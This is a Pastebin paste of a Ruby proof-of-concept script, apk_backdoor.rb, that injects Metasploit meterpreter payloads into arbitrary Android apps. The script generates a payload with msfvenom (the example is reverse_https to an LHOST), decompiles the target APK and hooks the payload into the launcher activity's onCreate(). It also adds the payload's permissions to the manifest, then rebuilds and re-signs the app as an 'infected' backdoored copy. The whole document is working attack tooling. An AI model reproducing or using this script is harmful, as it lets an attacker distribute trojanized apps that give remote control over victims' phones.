Advertisement
Arcanecfg

apk-embed-payload

Dec 26th, 2016
6,527
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Ruby 6.70 KB | None | 0 0
  1. #!/usr/bin/env ruby
  2. # apk_backdoor.rb
  3. # This script is a POC for injecting metasploit payloads on
  4. # arbitrary APKs.
  5. # Authored by timwr, Jack64
  6.  
  7.  
  8. require 'nokogiri'
  9. require 'fileutils'
  10. require 'optparse'
  11.  
  12. # Find the activity thatapk_backdoor.rb  is opened when you click the app icon
  13. def findlauncheractivity(amanifest)
  14.     package = amanifest.xpath("//manifest").first['package']
  15.     activities = amanifest.xpath("//activity|//activity-alias")
  16.     for activity in activities
  17.         activityname = activity.attribute("name")
  18.         category = activity.search('category')
  19.         unless category
  20.             next
  21.         end
  22.         for cat in category
  23.             categoryname = cat.attribute('name')
  24.             if (categoryname.to_s == 'android.intent.category.LAUNCHER' || categoryname.to_s == 'android.intent.action.MAIN')
  25.                 activityname = activityname.to_s
  26.                 unless activityname.start_with?(package)
  27.                     activityname = package + activityname
  28.                 end
  29.                 return activityname
  30.             end
  31.         end
  32.     end
  33. end
  34.  
  35. # If XML parsing of the manifest fails, recursively search
  36. # the smali code for the onCreate() hook and let the user
  37. # pick the injection point
  38. def scrapeFilesForLauncherActivity()
  39.     smali_files||=[]
  40.     Dir.glob('original/smali*/**/*.smali') do |file|
  41.       checkFile=File.read(file)
  42.       if (checkFile.include?";->onCreate(Landroid/os/Bundle;)V")
  43.         smali_files << file
  44.         smalifile = file
  45.         activitysmali = checkFile
  46.       end
  47.     end
  48.     i=0
  49.     print "[*] Please choose from one of the following:\n"
  50.     smali_files.each{|s_file|
  51.         print "[+] Hook point ",i,": ",s_file,"\n"
  52.         i+=1
  53.     }
  54.     hook=-1
  55.     while (hook < 0 || hook>i)
  56.         print "\nHook: "
  57.         hook = STDIN.gets.chomp.to_i
  58.     end
  59.     i=0
  60.     smalifile=""
  61.     activitysmali=""
  62.     smali_files.each{|s_file|
  63.         if (i==hook)
  64.             checkFile=File.read(s_file)
  65.             smalifile=s_file
  66.             activitysmali = checkFile
  67.             break
  68.         end
  69.         i+=1
  70.     }
  71.     return [smalifile,activitysmali]
  72. end
  73.  
  74. def fix_manifest()
  75.     payload_permissions=[]
  76.    
  77.     #Load payload's permissions
  78.     File.open("payload/AndroidManifest.xml","r"){|file|
  79.         k=File.read(file)
  80.         payload_manifest=Nokogiri::XML(k)
  81.         permissions = payload_manifest.xpath("//manifest/uses-permission")
  82.         for permission in permissions
  83.             name=permission.attribute("name")
  84.             payload_permissions << name.to_s
  85.         end
  86.     #   print "#{k}"
  87.     }
  88.     original_permissions=[]
  89.     apk_mani=''
  90.    
  91.     #Load original apk's permissions
  92.     File.open("original/AndroidManifest.xml","r"){|file2|
  93.         k=File.read(file2)
  94.         apk_mani=k
  95.         original_manifest=Nokogiri::XML(k)
  96.         permissions = original_manifest.xpath("//manifest/uses-permission")
  97.         for permission in permissions
  98.             name=permission.attribute("name")
  99.             original_permissions << name.to_s
  100.         end
  101.     #   print "#{k}"
  102.     }
  103.     #Get permissions that are not in original APK
  104.     add_permissions=[]
  105.     for permission in payload_permissions
  106.         if !(original_permissions.include? permission)
  107.             print "[*] Adding #{permission}\n"
  108.             add_permissions << permission
  109.         end
  110.     end
  111.     inject=0
  112.     new_mani=""
  113.     #Inject permissions in original APK's manifest
  114.     for line in apk_mani.split("\n")
  115.         if (line.include? "uses-permission" and inject==0)
  116.             for permission in add_permissions
  117.                 new_mani << '<uses-permission android:name="'+permission+'"/>'+"\n"
  118.             end
  119.             new_mani << line+"\n"
  120.             inject=1
  121.         else
  122.             new_mani << line+"\n"
  123.         end
  124.     end
  125.     File.open("original/AndroidManifest.xml", "w") {|file| file.puts new_mani }
  126. end
  127.  
  128. apkfile = ARGV[0]
  129. unless(apkfile && File.readable?(apkfile))
  130.     puts "Usage: #{$0} [target.apk] [msfvenom options]\n"
  131.     puts "e.g. #{$0} messenger.apk -p android/meterpreter/reverse_https LHOST=192.168.1.1 LPORT=8443"
  132.     exit(1)
  133. end
  134.  
  135. jarsigner = `which jarsigner`
  136. unless(jarsigner && jarsigner.length > 0)
  137.     puts "No jarsigner"
  138.     exit(1)
  139. end
  140.  
  141. apktool = `which apktool`
  142. unless(apktool && apktool.length > 0)
  143.     puts "No apktool"
  144.     exit(1)
  145. end
  146.  
  147. apk_v=`apktool`
  148. unless(apk_v.split()[1].include?("v2."))
  149.     puts "[-] Apktool version #{apk_v} not supported, please download the latest 2. version from git.\n"
  150.     exit(1)
  151. end
  152.  
  153. begin
  154.     msfvenom_opts = ARGV[1,ARGV.length]
  155.     opts=""
  156.     msfvenom_opts.each{|x|
  157.     opts+=x
  158.     opts+=" "
  159.     }
  160. rescue
  161.     puts "Usage: #{$0} [target.apk] [msfvenom options]\n"
  162.     puts "e.g. #{$0} messenger.apk -p android/meterpreter/reverse_https LHOST=192.168.1.1 LPORT=8443"
  163.     puts "[-] Error parsing msfvenom options. Exiting.\n"
  164.     exit(1)
  165. end
  166.  
  167.  
  168.  
  169. print "[*] Generating msfvenom payload..\n"
  170. res=`msfvenom -f raw #{opts} -o payload.apk 2>&1`
  171. if res.downcase.include?("invalid" || "error")
  172.     puts res
  173.     exit(1)
  174. end
  175.  
  176. print "[*] Signing payload..\n"
  177. `jarsigner -verbose -keystore ~/.android/debug.keystore -storepass android -keypass android -digestalg SHA1 -sigalg MD5withRSA payload.apk androiddebugkey`
  178.  
  179. `rm -rf original`
  180. `rm -rf payload`
  181.  
  182. `cp #{apkfile} original.apk`
  183.  
  184. print "[*] Decompiling orignal APK..\n"
  185. `apktool d $(pwd)/original.apk -o $(pwd)/original`
  186. print "[*] Decompiling payload APK..\n"
  187. `apktool d $(pwd)/payload.apk -o $(pwd)/payload`
  188.  
  189. f = File.open("original/AndroidManifest.xml")
  190. amanifest = Nokogiri::XML(f)
  191. f.close
  192.  
  193. print "[*] Locating onCreate() hook..\n"
  194.  
  195.  
  196. launcheractivity = findlauncheractivity(amanifest)
  197. smalifile = 'original/smali/' + launcheractivity.gsub(/\./, "/") + '.smali'
  198. begin
  199.     activitysmali = File.read(smalifile)
  200. rescue Errno::ENOENT
  201.     print "[!] Unable to find correct hook automatically\n"
  202.     begin
  203.         results=scrapeFilesForLauncherActivity()
  204.         smalifile=results[0]
  205.         activitysmali=results[1]
  206.     rescue
  207.         puts "[-] Error finding launcher activity. Exiting"
  208.         exit(1)
  209.     end
  210. end
  211.  
  212. print "[*] Copying payload files..\n"
  213. FileUtils.mkdir_p('original/smali/com/metasploit/stage/')
  214. FileUtils.cp Dir.glob('payload/smali/com/metasploit/stage/Payload*.smali'), 'original/smali/com/metasploit/stage/'
  215. activitycreate = ';->onCreate(Landroid/os/Bundle;)V'
  216. payloadhook = activitycreate + "\n    invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V"
  217. hookedsmali = activitysmali.gsub(activitycreate, payloadhook)
  218. print "[*] Loading ",smalifile," and injecting payload..\n"
  219. File.open(smalifile, "w") {|file| file.puts hookedsmali }
  220. injected_apk=apkfile.split(".")[0]
  221. injected_apk+="_backdoored.apk"
  222.  
  223. print "[*] Poisoning the manifest with meterpreter permissions..\n"
  224. fix_manifest()
  225.  
  226. print "[*] Rebuilding #{apkfile} with meterpreter injection as #{injected_apk}..\n"
  227. `apktool b -o $(pwd)/#{injected_apk} $(pwd)/original`
  228. print "[*] Signing #{injected_apk} ..\n"
  229. `jarsigner -verbose -keystore ~/.android/debug.keystore -storepass android -keypass android -digestalg SHA1 -sigalg MD5withRSA #{injected_apk} androiddebugkey`
  230.  
  231. puts "[+] Infected file #{injected_apk} ready.\n"
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement